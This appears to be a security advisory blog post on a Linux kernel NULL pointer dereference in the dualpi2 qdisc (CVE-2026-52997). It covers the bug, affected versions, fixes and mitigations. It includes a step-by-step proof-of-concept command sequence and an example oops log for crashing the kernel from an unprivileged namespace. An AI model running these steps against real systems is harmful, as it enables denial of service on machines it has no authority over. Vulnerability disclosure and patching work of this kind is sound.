Listen to this Post
How CVE-2026-52997 Works
The Linux kernel’s `sch_dualpi2` queuing discipline (qdisc) implements a dual-queue system consisting of a classic C-queue (root qdisc) and a low-latency L-queue. When a system administrator changes the qdisc configuration—specifically reducing the `limit` or `memlimit` parameters—the `dualpi2_change()` function enters a trim loop to drop excess packets and enforce the new limits.
Prior to the patch, this trim loop incorrectly assumed that all packets reside in the C-queue. It called qdisc_dequeue_internal(sch, true), which only dequeues from the C-queue and the requeue list (sch->gso_skb), completely ignoring the L-queue. However, the loop’s continuation condition checked qdisc_qlen(sch), which reflects the total packet count across both queues because `dualpi2_enqueue_skb()` manually increments `sch->q.qlen` for L-queue packets. Similarly, the `q->memory_used` counter accounts for memory from both queues.
The critical flaw emerges when traffic classification (e.g., via ECT(1)-marked packets) directs all traffic into the L-queue while the C-queue remains empty. In this scenario:
– The trim loop condition `qdisc_qlen(sch) > new_limit` remains true because L-queue packets are counted.
– `qdisc_dequeue_internal()` returns `NULL` since the C-queue is empty.
– The code unconditionally dereferences `skb->truesize` on the returned `NULL` pointer, triggering a NULL pointer dereference.
This results in a kernel oops (general protection fault) and can lead to a denial-of-service (DoS) condition. An unprivileged user can trigger this vulnerability from a user namespace by creating a dummy network device, attaching the dualpi2 qdisc, sending ECT(1)-marked packets to fill the L-queue, and then reducing the qdisc limit via RTM_NEWQDISC.
The fix ensures that the trim loop first drains the C-queue if non-empty, and only then drains the L-queue directly. It also properly checks return values from `qdisc_dequeue_internal()` and updates parent qdisc statistics when dequeuing from the L-queue.
DailyCVE Form:
Platform: Linux Kernel
Version: 6.17 – 6.18.32, 7.0.0 – 7.0.9
Vulnerability: NULL pointer dereference
Severity: Medium (CVSS: N/A)
date: 2026-06-24
Prediction: 2026-04-13 (patch submitted)
What Undercode Say: Analytics
Affected Versions & Fixes
- Introduced in: 6.17 with commit `320d031ad6e4d67e8e1ab08ac71efda02bc85683`
– Fixed in: 6.18.33 (86cf2eba2056bcf9c41fba260e599bd95bf9943b), 7.0.10 (3042add80c2c50bd127d570b83319af612efde65), and 7.1 (478ed6b7d2577439c610f91fa8759a4c878a4264)
Bash Commands to Check Kernel Version
uname -r Check if running kernel is vulnerable (6.17.x to 6.18.32, 7.0.x to 7.0.9)
Triggering the Vulnerability (Proof of Concept)
Create a network namespace with unprivileged user unshare -r -n bash Create a dummy network interface ip link add dummy0 type dummy ip link set dummy0 up Attach dualpi2 qdisc tc qdisc add dev dummy0 root handle 1: dualpi2 Send ECT(1)-marked packets to fill L-queue (using hping3 or custom tool) Reduce qdisc limit to trigger trim loop tc qdisc change dev dummy0 root handle 1: dualpi2 limit 1 Kernel oops occurs if L-queue is non-empty and C-queue is empty
Kernel Oops Log (Example)
[ 17.521319] Oops: general protection fault, probably for non-canonical address 0xdffffc000000001a: 0000 [bash] SMP KASAN NOPTI [ 17.525206] KASAN: null-ptr-deref in range [0x00000000000000d0-0x00000000000000d7] [ 17.527710] CPU: 3 UID: 1000 PID: 171 Comm: poc Not tainted 7.0.0-rc7-next-20260410 10 [ 17.535472] RIP: 0010:dualpi2_change+0xd09/0x1c00 [ 17.540294] RSP: 0018:ffffc90000bb7360 EFLAGS: 00000202
Exploit
An unprivileged local attacker can exploit this vulnerability by:
1. Creating a new user and network namespace (unshare(CLONE_NEWUSER | CLONE_NEWNET)).
2. Creating a dummy network device and attaching the `dualpi2` qdisc.
3. Sending ECT(1)-marked (Explicit Congestion Notification) packets to force traffic into the L-queue.
4. Issuing a `tc qdisc change` command to reduce the queue limit, triggering the trim loop.
The NULL pointer dereference occurs in `dualpi2_change()` when the function attempts to read `skb->truesize` from a `NULL` skb pointer returned by qdisc_dequeue_internal(). This causes a kernel oops, leading to a denial of service (system crash or hang). No privilege escalation is directly possible, but repeated exploitation can render the system unstable.
Protection
- Apply Kernel Updates: Upgrade to Linux kernel version 6.18.33, 7.0.10, 7.1, or any later stable release that includes the fix.
- Backport Patches: If unable to upgrade, cherry-pick the fix commits:
– `86cf2eba2056bcf9c41fba260e599bd95bf9943b` (for 6.18.y)
– `3042add80c2c50bd127d570b83319af612efde65` (for 7.0.y)
– `478ed6b7d2577439c610f91fa8759a4c878a4264` (for 7.1.y) - Mitigation: As a temporary workaround, avoid using the `dualpi2` qdisc on untrusted network namespaces or restrict access to `tc` commands for unprivileged users.
- Monitoring: Watch for kernel oops logs containing `dualpi2_change` and investigate any unexpected system crashes.
Impact
- Denial of Service (DoS): A local unprivileged attacker can crash the kernel, causing system downtime.
- System Instability: Repeated exploitation can lead to frequent reboots or unresponsive systems.
- No Privilege Escalation: The vulnerability does not directly allow arbitrary code execution or privilege escalation; however, a kernel crash can disrupt services and lead to data loss.
- Affected Environments: Systems using the `dualpi2` qdisc for traffic control, especially in containerized or virtualized environments where unprivileged users can create network namespaces, are at risk.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
